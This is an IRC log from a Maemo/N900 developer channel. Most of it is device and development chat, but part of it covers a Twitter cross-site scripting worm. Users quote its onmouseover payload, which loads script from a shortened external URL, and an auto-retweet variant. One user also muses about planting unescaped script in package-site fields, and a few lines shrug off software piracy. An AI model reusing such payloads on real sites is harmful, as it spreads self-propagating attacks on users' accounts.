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DocScrutinizernah, cat /etc/dbus-scripts.d/playswoosh -> #!/bin/sh    stored=/home/user/.slidestore; slide=$(cat sys/devices/platform/gpio-switch/slide/state); if [ X$slide == X$(cat $stored) ]; then exit 0; fi; if [ $slide == open ]; then /usr/bin/play-sound /usr/share/sounds/ui-charging_started.wav; fi; echo -n $slide >$stored14:58
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DocScrutinizerseems the dbus-script daemon doesn't like such config file :-P15:00
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DocScrutinizerermmm, how would I inquire current runlevel?15:05
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jpinx-eeepcinit something?15:06
SpeedEvil(the command)15:06
meceok got it working as I want it now:
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meceNow I wonder, is it clever to have that running? Does the MainLoop use resources when waiting for a call?15:08
mecefrals, you win at twittering!15:08
fralsmece: it was yergas fault15:09
mecefrals, sure it was.15:09
fralsi opened twitter and it autoposted15:09
fralsseems to be a nice exploit15:09
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* DocScrutinizer feels sick about cruft and lyrics in inittab15:15
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DocScrutinizer# What to do when the power fails/returns.15:16
DocScrutinizerpf::powerwait:/etc/init.d/powerfail start15:16
psycho_oreosMohammadAG51, ping15:16
DocScrutinizerIroN900:~# ls /etc/init.d/powerfail15:17
DocScrutinizerls: Zugriff auf /etc/init.d/powerfail nicht möglich: No such file or directory15:17
lcukwhat in the holy fuck just happened on twitter?15:18
lcukfrals, ?15:18
RST38hlcuk: Everyone took shit?15:18
DocScrutinizergone pooof?15:18
fralslcuk: seems to be a js exploit, i got it from yerga in my feed, it tries to DM someone and reposts the status15:18
mecenice lcuk :d15:19
lcukfrals, "you got it"15:19
fralslcuk: as in, it appeard in my feed from him15:19
lcukie its directly on twitter itself on peoples feed?15:19
lcukor DM only15:19
lcuk(which aren't loaded by default)15:19
fralslcuk: in feeds15:19
mecethat's pretty cool!15:20
fralslcuk: and it spreads as soon as you load the feed in browser15:20
meceso if I open yergas twitter page it will post something?15:20
fralsi think he deleted it because its gone from my feed last i checked15:20
* DocScrutinizer ponders doing a similar hack for garage, as there <fields> aren't escaped15:20
lcukits spread for sure15:20
lcukits on mine now15:20
lcuklogout before viewing15:20
meceok.. will do15:21
mececould you give me a direct url to the logout?15:21
MNZhahahahahah I just got it XD XD and I didn't go anywhere, just homepage15:21
meceah from own feed.15:21
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meceMNZ, naturally if a friend has posted it you have it.15:22
lcuk   1."style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\\u002ffl9A7')"/ 3 minutes ago via web15:22
lcukviewing source of page15:22
DocScrutinizerWTF *is* twitter ?? :-P15:22
lcukis this directly because of new
mecevery large letters those are :D:D:D15:22
MNZhahaha I can just *imagine* the state all the twitter devs are in XD15:23
* DocScrutinizer cackles evilly15:23
lcukcan someone decode that url15:23
lcukand resolve it into the script?15:24
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MNZlets make our own! what do you guys want to spam twitter with today?15:24
marmoutethe site seems pretty down.15:25
MNZI think is down from the load!!!15:25
lcukso if i login and delete the twit myself15:26
MNZthis. is. epic.15:26
MNZtwitter will soon collapsificate15:26
MNZfailwhale to the rescue!15:27
DocScrutinizerhttp://lexasoft .   /  up1415.js15:27
meceno, since the script is no longer available it will stop spreading15:27
meceDocScrutinizer, thanks :D15:27
lcukits gone from my feed15:27
* DocScrutinizer shrugs15:27
DocScrutinizerseems I'm not doing it 'right'15:28
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lcukfrals, logged out, go onto your own page, click stop, login with normal account, click stop again, then scroll down and delete the message15:28
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lcukvariations are sprouting up tho15:29
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DocScrutinizerfun on Tuesdays, that's quite unusual :-D15:30
* DocScrutinizer considers joining twitter, for the shits and giggles15:31
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DocScrutinizerbut then, MEH15:31
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fralslcuk: i dont have it in my feed do i?15:33
DocScrutinizerWTF is  ???15:33
lcukfrals, i havent looked hold on15:33
ALoGeNookey maemo+qemu running :)15:33
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mecefrals, no you're clean15:33
Jef91Jeez between crazy hamster and kroll I almost feel like the N900 is a real smart phone.15:34
DocScrutinizereeeeeek twitter15:34
meceI'm out. tata.15:34
Jef91It's nice to get some game dev attention.15:34
meceJef91, crazy hamster??15:34
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Jef91Game on ovi mece15:35
meceIs it good?15:35
Jef91Just a demo atm15:35
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Jef91but looks very good.15:35
Jef91Remember old school lemmings?15:35
Jef91Kinda like that.15:35
Jef91Or pingus15:35
DocScrutinizerheh, I liked that15:35
Jef91btw I wish someone would port pingus to n90015:35
Jef91My girlfriend loves that game15:36
lcukJef91, you have motivation15:36
merlin1991lemmings ftw15:36
lcukknowing she will love you forever if you port it15:36
lcukdownside is, she will be nicking your phone to play it15:36
Jef91motivation and little to no coding exp15:36
Jef91Unless pingus is python15:37
lcukyou think linus torvalds knows how to code?15:37
lcuksticky tape and some elbow grease15:37
Jef91Good to know Linux gets things done the same way I do at work15:38
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DocScrutinizerlcuk: don't you think passing "<whatever>" verbatim into HTML pages could open a vulnerability?15:39
TermanaN900lcuk, not very well. Why else do you think he is not a major contributor of code anymore!? (kidding :P)15:39
Jef91This reminds me why I stopped trying to port FOSS applications to maemo -
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lcukTermanaN900, look at any codebase15:41
Jef91Wish they would have just made the operating system compatible with debian armel packages, would have made things 100 times easier15:41
lcukin the core is a shaky set of prototype hacks15:41
Jef91Or at least used the same libc6 version15:41
TermanaDesireMy n900 keeps killing its data connection15:43
DocScrutinizerlcuk: I'm pondering to include <script src="" type="text/javascript"></script> to starhash packet description, to auto-rate the package :-P15:43
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meceJef91, so any reason why pingus is not ported? Should work right away.15:43
Jef91mece You know I was told that by a pile of people15:44
Jef91binaries it needs to compile15:44
Jef91do not port so nicely15:44
meceJef91, ok, I didn't really understand what you just said, but I have to go. I'll take a look at that thing.15:44
* Khertan has just lost one hour to try to write is meego usb netbook image on a usb key without success15:44
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crashanddiewhat the hell's up with twitter?15:46
Khertancrashanddie, it s twitter ... it s like bird ... there isn't 100% success delivery ...15:46
Jef91khertan Meggo on the netbook is a waste of time15:47
Jef91It is moblin 1.1 which also was a waste of time.15:47
MohammadAG51Khertan, dd's easy to use15:47
Khertancrashanddie, ouch strange ... look like a deface ...15:47
KhertanMohammadAG51, yep... but fail15:48
DuckbootKhertan: XSS worm15:48
MohammadAG51dd if=image of=/dev/somewhere15:48
KhertanJef91, depends on you use15:48
KhertanDuckboot, xss worm ?15:48
DuckbootCross Site Scripting15:48
DuckbootNot a deface15:49
crashanddieplease close the browser15:49
crashanddiedon't leave your browser open, or you'll be sending spam15:50
[PG]AexIs it possible to get J2ME support on the N900?15:50
crashanddie(or DDoS'ing twitter)15:50
DuckbootOr use NoScript plugin15:50
Khertancrashanddie, yep15:50
Khertani see that15:50
Khertanit s open spam15:50
Khertanit s try to spam by direct message15:51
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[PG]AexAnyone knows?15:51
crashanddie[PG]Aex: search TMO, it should have some info15:52
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[PG]Aexgoogle or
* merlin1991 disabled javascript and happily browses a 90% cripled page now :D15:53
zap[PG]Aex: have you looked in app manager? I think I have seen a j2me interpreter there15:54
[PG]Aexsec i'll have a look15:55
Khertanhum the twitter api seems down :)15:56
jpinx-eeepchum that again? I didn't catch the tune ;)16:00
crashanddieKhertan: not just the API, everything.16:02
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Khertancrashanddie, hum the web interface is working :)16:03
cheriffi cant believe they allow you to tweet javascript in the first place16:03
Khertanif i write a counter measure and diffuse it like the xss original worms16:03
crashanddieKhertan: yes, but it's filled with plenty of worms16:03
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Khertancan it be call a xss worms ?16:04
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zap[PG]Aex: microemulator - MicroEmulator is a free J2ME(TM) implementation.16:05
DocScrutinizerlcuk: ?? any notion about my prev posts?16:05
[PG]Aexlol just found it the second you wrote16:05
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zapI would write earlier if some guy wouldn't pick me on the phone16:05
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[PG]AexWell, thanks alot for the help =)16:06
DocScrutinizerbash: xd: command not found16:07
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Khertanlol i m trying to got the javascript but the website which host it seems down16:11
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merlin1991get it out of your browser cache?16:12
alteregoOr google cache16:12
Khertanah yes google cache16:12
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crashanddieKhertan: i'm not seeing any remote javascript16:14
crashanddieKhertan: just seeing an automated .submit16:14
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Khertancrashanddie, there is one on the mouse over16:15
crashanddieonmouseover="document.getElementById('status').value='RT Matsta';$('.status-update-form').submit();"16:15
th3hateis twitter acting strangly for anyone else?16:15
th3hatewindows keep popping from no where16:15
crashanddieth3hate: yes, don't use a browser16:15
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Khertanth3hate, under xss worm attack16:15
crashanddieth3hate: or use noscript16:15
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th3hateLOL @ trending topics16:17
satmdlink mentioned by Khertan already has been disabled by is.gd16:17
th3hateSecurity flaw, mousover, onmouseover, expliot, XSS16:17
Khertan disabled16:17
Khertanattack ends :)16:17
crashanddieKhertan: http:\u002f\\u002ffl9A7 == (blocked now) ==
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crashanddieweb interface seems to have been fixed16:19
Khertan <<< strange didn't see the link16:20
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Khertan <<< strange didn't see the link between this page and any js16:20
crashanddieneither do I see anything...16:20
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crashanddieKhertan: though, it could spit out something else if the referrer is twitter...16:21
Khertanthe original :
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Khertancrashanddie, ok nothing bad so ... it s just replicate itself16:26
Khertannothing more16:26
crashanddiewell, I wonder16:27
crashanddiebecause the is another rediction service16:28
crashanddieso I wonder if ""style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\\u002ffl9A7')"class" could be computing to something else...16:28
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crashanddiewhich would then redirect to yet something else16:29
KhertanTwitter uses the domain as part of a service to protect users from harmful activity16:30
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Khertanfailed :)16:30
satmdthere's a lesson to be learned from this class of worms... clearly distinguish data layer and presentation layer :(16:30
crashanddiewhat does that have to do with anything?16:31
satmddata is not supposed to contain executable elements16:31
Khertancrashanddie, is possible only with ... this is how they manage to shorten url that made this possible16:31
crashanddiejust sanitise your bloody inputs correctly, whether that means they come from a user or your database16:32
satmdack. that is a approach to the same underlying problem16:32
crashanddieobviously, twitter trusted whatever came out of their database and the display assumed it was trustworthy.16:32
Khertanthe problem is js ... this abomination should not exist16:33
crashanddieThis would never have happened if they'd written twitter using a propper language... like Java or something.16:33
Jef91Anyone on here use twitter from the n900? If so what client do you prefer?16:33
crashanddieJef91: KHWEETEUR!16:33
Khertancrashanddie, hum ... if they used java we will just have a uptime of 1 hour by day16:33
crashanddieKhertan: oh piss off :P You never programmed in java, you're not allowed to criticise it :P16:34
Khertancrashanddie, what did they use ?16:34
Khertancrashanddie, i m a java dev ...16:34
crashanddieKhertan: it was ruby on rails or something16:34
Khertancrashanddie, i m use java 2 years ... and i run away from it :)16:34
crashanddieKhertan: my point exactly, if you're a java dev, you've never developed in java16:34
Khertancrashanddie, i ve use java 2 years ... and i run away from it :)16:34
Khertancrashanddie, lol16:34
crashanddiewait, there's a problem with my previous argument :D16:35
crashanddieKhertan: J2EE?16:35
Khertanruby on rail ... ouch ... we have many problem with this at work16:35
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Khertancrashanddie, j2ee and j2me unfortunatly16:35
crashanddiefucking autocompletion of this stupid irc client16:35
crashanddieI actually have to <tab><enter> even when there's only one option....16:36
crashanddieKhertan: what do you use on Windows?16:36
dsgIs it possible to join channels with the IRC telepathy plugin somehow? Or just private messages?16:37
crashanddiemacirssi was all my dreams come true16:37
Khertancrashanddie, on windows : webchat.freenode.net16:37
timeless_pidginHas anyone here had cases where sending an email to someone using MS Exchange resulted in "failed" instead of "canceled". The destination is an account in this MS Exchange server16:37
Khertanas i try to stay too much on this os16:37
* Khertan hate DBUS !16:37
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* satmd too16:38
satmddid you run into a missing like me?16:38
crashanddieKhertan: "hates"16:38
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crashanddietroisieme personne16:38
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Khertanno ... i'm trying to make dbus-callback-default working on org.freedesktop.Notification without any luck16:38
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Khertancrashanddie, true ... but i do the same error in french ... :)16:39
Khertanayé les russes s'y mettent : ошел с другого клиента ибо работать в веб интерфейсике - опасно16:39
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Khertana new variant of the xss worm on twitter just appear :)16:40
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lolloodo you guys hate twitter?16:40
Jef91Wish we could get a decent Facebook application16:41
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KhertanJef91, microb16:41
Jef91Khertan Microb refuses to click any buttons on for me16:41
lollooWish we could get a decent Fring application16:41
Jef91and when I use the full site it throws an error message everytime I try to post something16:41
Jef91I'm just glad pyradio has a solid dev behind it16:42
Jef91that application is fantastic16:42
lollooe-buudy too16:42
KhertanI wish i could fix the notification callback on Khweeteur16:42
lolloomaybe you are using custom kernel16:42
lollootry using the default one16:43
lolloomight work for you16:43
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Jef91grr slow n900 is slow... must, resist, overclocking...16:45
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KhertanJef91, n900 isn't slwo16:46
Jef91relative to other handhelds, no16:46
Khertanoverclock resolv anything16:46
Jef91relative to my netbook yes16:46
KhertanJef91, funny i found my n900 faster than my n13016:46
Jef91I have an n455 I think in mine16:47
satmdwhat's the difference between the fremantle and fremantle-1.2 distribution?16:47
Jef91alot less suck satmd16:47
satmdwhich one? ;)16:48
Jef911.2 is much better16:48
* satmd goes reinstalling petrovich in an attempt at repairing16:48
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Jef91Grr t-mobile 3g16:49
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Jef91Download just stopped 1/3 of the way through.16:49
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satmdstill broken :(16:50
KhertanMohammadAG51, after changing for a another usb key ... dd works ... the dd key seems broken :)16:51
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iuuhey.. i got an error.. while running run-standalone.sh16:55
lolloowhy doesnt maemo notifier for xchat plugin doesn't work?16:55
lolloocan you help guys?16:55
iuuSBOX_CPUTRANSPARENCY_METHOD not set.. it seems16:55
iuuwhat can b a solution16:56
crashanddieiuu: i think nothing16:56
lollooI want my phone to beep when I get personal message on xchat16:56
crashanddiebecause obviously, you think our time is less precious than yours16:56
crashanddiebecause you didn't even take the time to google it16:56
lolloowhy wont my n900 beep?16:56
crashanddieiuu: so how about you just google that exact error message take the first link, and read what it says?16:56
crashanddieiuu: also, learn to read the bloody manual16:57
iuuhelp is appreciated16:57
lcukcrashanddie, yet you spend time shouting at him i na less productive manner ;)16:57
lcuklolloo, theres a strange plugin somewhere, but it was disliked by many16:57
crashanddiehowever, maybe you just need to sb-menu, and then select the target you wish to compile for, for example, Fremantle_ARM or whatever the name is16:57
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iuuim a total newbie :(16:58
lolloothe one am using comes with xchat16:58
iuuokay.. thanks..16:58
lolloobut it doesn't work16:58
crashanddieiuu: being a newbie doesn't deprive you from common sense, or access to google16:58
crashanddielcuk: i know, but it feels gooooood :)16:59
iuucrashanddie: yea.. i tried googlin it.. cudnt get a proper answer17:00
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iuuyeah.. i felt da same..17:01
crashanddieiuu: I googled "SBOX_CPUTRANSPARENCY_METHOD not set", first result is a TMO thread that explains clearly what you have to do within the 4 first posts, second one is a mailing list, third one is another mailing list result, 4th is IRC in this very channel with the answer as well17:01
crashanddieheck, the whole first 3 pages of Google contain the answer17:02
crashanddie<lcuk810> why am i here?17:05
_|Nix|_Hey! What's going on with the fremantle buildbot? It's been building something called shiboken_0.5.0-1maemo1 since, like, yesterday ...17:05
crashanddie<GeneralAntilles> I suppose that wasn't an existential question.17:05
Khertan_|Nix|_, do not take care of this blocked build ... everything runs well17:05
Khertan_|Nix|_, i thinks it s just a display errors17:06
_|Nix|_Khertan: Oh, OK ...17:06
lcukcrashanddie, :)17:06
lcuklook at the timestamp of that conversation17:06
lcukand of this picture
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lcukthat was actually the morning i started on the library17:07
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crashanddielcuk: do you think in a couple thousand years or so, we'll have people going through IRC logs trying to figure out what our customs were?17:09
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lcuki do it now :)17:09
lcukit took nearly 2 months to actually get something running you know crashanddie - i carried on hacking in original liqbase for ages17:10
Jartzashould I become Qt-certified trainer?17:10
Tu13esare there any alternative OS's I can install on my n800?17:10
lcukfirst libliqbase screenshot ;)17:11
luke-jrTu13es: Gentoo17:11
Tu13eshm, is there a guide somewhere?17:11
luke-jrTu13es: yes. Google17:11
Jartzais the certificate important to companies?17:11
Tu13esmy linux knowledge is meh at best17:11
crashanddieJartza: don't bother17:12
crashanddieJartza: as with any certification, if a company attaches any importances to it, they'll pay for you to pass it17:12
crashanddiebut they won't hire you because you have a certification, over you being unqualified17:13
Jartzacrashanddie: I'm not worried about them hiring me.17:13
crashanddieask yourself the question the other way around: would you want to work for a company that hired/works with you solely based on your qualifications, not your actual expertise?17:14
JartzaI just got a proposition to get me the certificate17:14
crashanddieif it's free, gfo17:14
Jartzacrashanddie: nope. but I'm aleady teaching Qt, been for a long time.17:14
crashanddiewell, you decide to show your qualifications later on or not17:15
JartzaImjust don't have the trainer's certificcate17:15
crashanddieas long as you're not a dick who prints all his certifications in his email signature ... :P17:15
Jartzas/m/ /17:15
infobotJartza meant: I just don't have the trainer's certificcate17:15
Jartzacrashanddie: don't worry :) I'm teacher :P17:16
crashanddiedo it17:16
crashanddieyou'll learn some fun stuff and get some contacts17:16
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crashanddiehow long is the training?17:17
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crashanddieget the school to pay for it17:17
JartzaI'm already teaching nokia guys to program with Qt17:17
crashanddieok, don't say "teacher" if you're not working in a school :P17:18
Jartzaand Nokia wants me to become certified.17:18
JartzaI'm working for school, too. university :)17:18
TermanaN900Teaching Nokia how to use their own thing. lol :P17:18
Jartzaand for several companies :)17:18
crashanddieTermanaN900: that's a good sign17:18
alteregoI'd imagine most of their software engineers were Symbian up until now.17:19
JartzaTermanaN900: yep. I also participated in maemo-training-material creation :P17:19
Jartzathough that was for gtk+17:19
crashanddieso we can blame you?17:19
crashanddiefor the crappiness?17:19
Jartzaalterego: true. or just c/c++17:19
TermanaN900crashanddie has just found his new scapegoat17:19
Jartzacrashanddie: what's crappy?17:20
alteregoAh, I helped czr a bit with that :)17:20
crashanddieJartza: dunno, all of it. Most of the documentation for Maemo is notoriously bad.17:20
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crashanddieJartza: so the probability that I actually ever looked at anything you made is pretty low17:21
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TermanaN900But hes still going to blame you anyway17:21
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crashanddiedid i blame him?17:21
alteregoSweet, just got the access details :D17:21
jarkkomQT side of things isn't that bad but QT SDK is quite buggy17:21
crashanddieno, so TermanaN900 go back herding cattle or something.17:22
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Jartzaof course, that material is still backed up by lecturer17:22
crashanddieyup, that's the crappy stuff i was talking about... Not the actual material you made, it's well laid out and stuff17:23
crashanddieAnd there is content17:23
crashanddiethe problem is, that bunch of docs? Doesn't work at all in a project such a maemo17:24
crashanddiethere aren't any lectures, there aren't any training days17:24
crashanddiethere are no trainers to help you17:24
crashanddieand if I have to read this (which is "node 8", before I actually get down to some code17:25
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crashanddie(whatever node 8 may mean)17:25
crashanddieJartza: I'm not trying to be rude here, as a course, it makes perfect sense.17:26
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crashanddieAs something that is supposed to grow developers... it's crap -- and that's a Nokia problem.17:26
Jartzasure, nokia wished the material to start from basics17:26
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Jartzaof course everythin doesn't apply to everyone17:26
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crashanddieIf you compare that to android...17:27
Jartzaand unfortunate thing was that nokia only organized the courses for it's own employees and yes, there was atrainer (me) and that material was just a support material17:27
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Jartzathey still decided to release the material, because it was licensed as cc17:27
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crashanddieI just googled "android development tutorial", I get 4 easy steps:, followed by a helloworld tutorial with code, screenshots and a bit of explaining text17:27
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crashanddieJartza: I completely understand the culture Nokia is coming from in that regard17:28
Jartzacrashanddie: no offense taken :) the maemo-material is no tutorial17:28
Jartzait's a course material17:28
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Jartzaand it's gtk+ :P17:29
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crashanddieyeah yeah17:29
Jartzabut yes, you can blame me :)17:29
jarkkommost developers starting now should skip maemo stuff and get into Qt SDK anyway17:29
Jartzaand nokia of course. I just did what they asked :)17:29
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Jartzajarkkom: that's what's happening. no-one is interested in maemo as such, or gtk+ at all. only qt.17:30
Jartzaand that's the reason they want to certify me :P17:31
JartzaSurfa: really. at least in finland.17:31
Surfareally? :O17:31
jarkkomNokia is all about Meego/Qt these days17:31
Surfagood if it's really so17:31
Jartzaeverybody wants meego-courses, even if they don't even seem to know what they wangt :D17:32
Jartzabut I sell them Qt-courses17:32
Jartzathat's a start17:32
crashanddieI'd like to see free trainings/courses for MeeGo17:32
Jartza(currently giving a 2day Qt-course in kajaani, finland)17:33
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Jartzabut. I'm off to dinner.17:33
MohammadAG51crashanddie, PM17:36
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Khertanif only in there Qt everywhere they can see there are other language than c++17:40
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Elkura32dllhi all17:42
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Elkura32dllmanual for compiler aplication for maemo 5 nokia n900?17:43
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* MohammadAG51 disses the N8, you don't have shit over the N900 \o/17:50
* timeless_pidgin just saw a child trying to attack an e7117:50
MohammadAG51lil steve?17:51
timeless_pidginHe was actually gentler w/ my n90017:51
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lcuktimeless_pidgin, have you seen the bluenail girl?17:52
lcukfrom Nokia World17:52
timeless_pidginSo can anyone suggest a soccer game in belfast for tonight?17:52
timeless_pidginLcuk: what's nokia world?17:52
lcuktimeless_pidgin, just stand on the street corner and shout something like "Manchest United are the best team in the world" I am sure some other supporters will step out and have a game with you!17:53
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* timeless_pidgin feels so unloved17:53
* Mece hugs timeless_pidgin 17:55
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satmdI can haz hug too?17:57
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* Mece hugs satmd, to appear objective17:57
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timeless_pidginOh right. ..18:01
timeless_pidginI need to kick pidgin for focus stealing18:01
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Mecewow, crazy hamster blows! and frankly, that hamster doesn't seem all that crazy.18:03
Mecestill, nice with some new games :)18:03
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* MohammadAG51 wants nautilus on the N90018:09
* satmd sighs18:09
SpeedEvilThe nautilus would indeed be cool.18:09
SpeedEvilI want a phone that can work at 20000 leagues beneateh the sea.18:10
Mecethe n900 can totally do that with a superstrong minisub18:10
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alteregoOh nice, Qt 4.7 has been released?18:13
Meceit is?18:13
Mecefor N900 too?18:14
alteregoLooks like it.18:14
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Mecehmm.. guess it's time for pr1.3 then :)18:14
timeless_pidginOfficially, that's one thing which comes in our next update18:14
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Mecethat means qml for the masses :)18:14
alteregoYes :)18:15
* satmd will delay today's planned reflash18:15
alteregoI guess we can hopefully expect PR1.3 in about two months or so ..18:15
alteregoHopefully ..18:15
Mecetimeless_pidgin, yup, I figured as much.18:15
alterego"Anssi Vanjoki says using Android is like peeing in your pants for warmth" hahah18:15
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crashanddiealterego: Which in case of a diver, is bloody important18:17
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crashanddiealterego: if you've ever surfed in any coldish weather, peeing in your wetsuit is the best thing you can do to keep you warm.18:17
alteregoAnd an astronaut18:17
Mecewell, that depends. qt4.7 was obviously one important part, or actually the most important part, so doesn't have to be to long. not that I have any particular need for a new pr, but nice to see what it contains :)18:17
alteregoYeah, I used to windsurf a lot during the winter18:17
Mececrashanddie, so.. divers should install nitdroid?18:17
timeless_pidginThat's the only headline i know of18:18
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alteregoMece: sure, my estimation is more on how long it seems to take their QA testing process ;)18:18
alteregoEverything else in PR1.3 seems finished.18:18
Mecewhen was pr1.2 released?18:18
alteregoSo depending on how old the 4.7 release source actually is ..18:18
infobotfrom memory, pr1.2 is available since early Tuesday morning. More information at -- see ~flashing for how to update18:18
Meceok. thanks18:18
alteregoI'm guessing they're starting to test about now.18:18
crashanddieMece: Since tuesday!18:19
* crashanddie could've sworn it was longer than that18:19
timeless_pidginThe 4.7 packages i saw were lame18:19
kfxthe bot didn't specify *which* tuesday18:19
Mecetimeless_pidgin, lame? O.o18:19
timeless_pidginI'm hoping they'll suck less when shipped18:19
crashanddiekfx: the URL gives the date18:19
Mecekfx, LOL. oh really?18:19
kfxcrashanddie: yeah it was a joke18:20
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crashanddienot a very good one then :)18:20
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Meceso pr1.2 was out early week 21 and build was from week 1918:22
timeless_pidginThat'd be the optimistic ship schedule iirc18:22
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infoboti heard pr1.3 is a ban'able subject now.....18:24
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KhertanYouhou qt4.7 will be finnally be available for Maemo18:27
Khertanit s 3 bug that annoy me too much !18:27
Khertanit s fix 3 bug that annoy me too much !18:27
Khertanyum really sucks18:28
Khertani ve f*ck the rpmdb18:28
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timeless_pidginOn hosing it18:32
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Khertanok ... rpm --rebuilddb < thread died fatal error18:33
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Khertannow i really understand why so many claims that it was an error to use rpm tools18:34
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* timeless_pidgin has corrupted apt's db, it isn't much harder18:35
rtylerquick silly question, anybody gotten emails "stuck" in modest's "Outbox" before?18:37
* rtyler wonders how to get them to bloody send18:37
timeless_pidginRtyler: frequently this week18:38
timeless_pidginIs it "waiting" or "canceled" or "failed" or?18:38
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rtylerjust sitting there in the outbox18:39
timeless_pidginFor waiting, the easiest solution is rebooting, opening mail and connecting to the network18:39
timeless_pidginIt should have a status on the far right side18:40
timeless_pidginIt's really just the network going up signal that matters18:40
timeless_pidginBut i've been cursing it all week18:41
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timeless_pidginYou're welcome to experiment.18:42
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timeless_pidginUnfortunately a lot of my messages end up "canceled"18:42
timeless_pidginAnd recovering from that sucks.18:42
timeless_pidginYou have to movie it to another folder18:42
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timeless_pidginOpen in18:42
timeless_pidginI then reply to all, and unquote the whole message18:43
timeless_pidginAnd send again18:43
sivanghey timeless_pidgin18:44
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* satmd found out how he broke his n90019:41
satmdused the old emmc image instead of the pr1.2 one19:41
satmdthe nokia download page is confusing19:42
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satmdcan't they group the list by version? :(19:42
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jpinx-eeepcsatmd: look for the latest ;)  Are you working again now?19:49
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steinexhmm cant find any infos if meego will support portrait mode for everything from the beginning19:53
Stskeepssteinex: want to see a video?19:54
Stskeepsthis is from 7 september19:54
Stskeepsa lot has been fixed since19:54
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satmdthe flasher for windows keeps failing at installing the driver (code 39)19:59
satmdso I'll try again later on my pc19:59
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nidOare you using win7 x64?20:00
steinexStskeeps: i cant see the guy trying it ;)20:03
Stskeepssteinex: it's a girl, i think20:04
ZogGsatmd you have to get usblive or cdlive with linux - that's all20:05
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satmdno, happened on win xp 32bit20:09
satmdbut when I get home, I'm home with my penguins20:09
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timeless_pidginSatmd: where's the fun in that?20:10
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satmdfun? where? ;)20:14
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* slonopotamus wonders if timeless_pidgin actually means timeless_pidgin_mbp20:17
timeless_pidginIn having a straightforward download page20:17
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keriogoze: wait, what20:23
kerioi don't even20:23
timeless_pidginGrr, doesn't like me20:25
gozeno not me, don't know who20:25
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satmdis there a way to say NO to the nokia ovi stuff after first boot?20:27
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pH5satmd: no20:31
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pH5I think you can boot without a SIM card inserted, make sure that /var/spool/sms/outgoing is empty, and create the ~/.cherry_state file described in the wiki article above to make sure that the activation sms isn't sent.20:32
gozekerio: somebody called evilJazz own the picture20:32
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jacktheripperhow come the ARM Cortex-A8 is clocked at 1Ghz on the iPad and you guys are saying OCing reduces lifetime ?20:54
Stskeepsipad will break from people breaking the glass anyway ;p20:54
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Stskeepsand we don't say arm cortex-a8, we say omap320:55
* timeless_pidgin kicks ticketmaster:
jacktheripperyou mean OCing would reduce lifetime of other components designed for ~600 ?20:56
gozesomeone said that n900 picture is fake20:57
jacktheripperand I don't think apple would depend on people breaking their iPads before it fries :P20:58
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jacktheripper"The Cortex-A8 core used in the A4 is thought to use performance enhancements developed by chip designer Intrinsity (which was subsequently acquired by Apple)[10] in collaboration with Samsung.[11]" ~
jacktherippernvm :D20:59
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ieatlintactually the n900 does say arm cortex a821:00
ieatlintit says it right on the phone in fact21:00
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koudhello, I am looking for Maemo Desktop SDK Virtual image21:08
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kouddoes anyone have a copy? it has been removed from
timeless_pidginThings in that site aren't typically licensed for redistribution...21:09
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koudso there is no way I can get that image?21:10
koudall documentation everywhere points me to that link, but it is not there :(21:10
timeless_pidginStealing typically works...21:10
timeless_pidginGetting caught or in trouble comes later.21:11
koudWe are doing some development for n810 in my university, and having that enviorment would greatly help21:11
koudwell not like I cant steal since It seems to be nowhere...21:11
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timeless_pidginThe point is that if someone else, like me, had it, they probably couldn't legally give it to you.21:12
koudI cant find any pressrelease on they removing it for some reason21:12
koudI know that21:12
timeless_pidginFind the post announcing it, find the poster, contact them directly.21:13
timeless_pidgin... Why do people ask about things they know are wrong?21:14
timeless_pidginIs that something they teach in university these days?21:14
koudtimeless_pidgin: what did I ask that was wrong?21:14
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* RST38h hasno problemdownloading that image right off the given url21:15
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koudRST38h: you can see the desktop image on that server?21:15
RST38hserver only21:15
koudah same here..21:15
koudand it is old one21:16
RST38hwhy do you need the desktop?21:16
koudbecause the server one is a pain to configure21:16
koudI dont need it, but it would be much better21:16
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koudtimeless_pidgin: just so you know, I never asked for someone to send me it. I was going to ask if someone had one, where they got it from.21:18
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koudtimeless_pidgin: no need to look down at people....21:19
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ieatlinttelling a channel full of geeks not to be elitist and look down at people is wasting your time :P21:20
ieatlintit's not like the gestapo is going to knock down your door for downloading something you couldn't pay for and won't be using for commercial purposes21:20
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ieatlintoh, huh, qt 4.7 is out21:22
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MohammadAG51who has a Female to Female adapter, an N900, and is a bit experienced with terminal21:30
SpeedEvilI've lost my f-f adaptor21:30
jogafemale to female adapter...naughty21:31
SpeedEvilI'll see if I can dig it out21:31
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kfxI just use tequila for that21:34
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Stskeepsmm tequila21:35
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melanor9hey :)21:43
Noobmonk3yhey :)21:43
fnordianslipMohammadAG51: I've found mine.  What do you need?21:43
Noobmonk3yMohammadAG51 needs bacon... tis true21:44
* lcuk agrees21:44
fnordiansliphe's not having mine21:44
melanor9does anyone have any exp using  SDL/gles stuff21:45
lcukme wonders what happened whilst i was walking up a hill21:45
melanor9i am trying to compile StoneSoup Crawl21:45
Noobmonk3ylcuk, not much.....21:45
melanor9and got it compiled on armel (it crashes tough )21:45
Noobmonk3ybig hill?21:45
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lcukyeah just went wandering with jake and tracy21:45
crashanddiejust achieved packet injection with the n900 with my own driver21:45
melanor9but i cant do it for   x86 target and most likely its because  i do miss some stuff21:46
melanor9sbox-FREMANTLE_X86: ~/workdir/crawl-ref/WIZARD/source] > diff  -u installed.armel  installed.x8621:46
melanor9--- installed.armel     2010-09-21 19:23:13.000000000 +010021:46
melanor9+++ installed.x86       2010-09-21 19:24:01.000000000 +010021:46
melanor9@@ -1,4 +1,5 @@21:46
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RST38hStonesoup does notappear to require gles or sdl21:46
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crashanddiebut then my n900 crashed and it doesn't want to find wifi anymore after reboot21:46
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melanor9where i can get libgles for x86 platform ?21:46
RST38hAh wait it does have a gfxversion, so SDL21:46
Noobmonk3ycool! lcuk, i still love the way you two have conversations over twitter :P21:46
GAN900I love how broken ICD2 is.21:46
crashanddieMohammadAG51: ^21:46
crashanddieanyway, gf here, off for the night, 'later all21:47
lcukNoobmonk3y, she sms'ed luke whilst we were walking and told him she was climbing everest21:47
RST38hmelanor9: Whydo you need glesfor Stonesoup?21:47
lcukit wasnt anything of the like rly21:47
Noobmonk3ymy misses has no internet connection, no fb/twitter etc...21:47
melanor9stonesoup SDL version looks great for n900 resolution, thats why21:47
melanor9its rather bland in ascii21:47
Noobmonk3yallthough if you like cakes we did cake'tography last night! www.amazingelcakes.com21:48
lcuki saw Noobmonk3y, tracy does big cakes too21:48
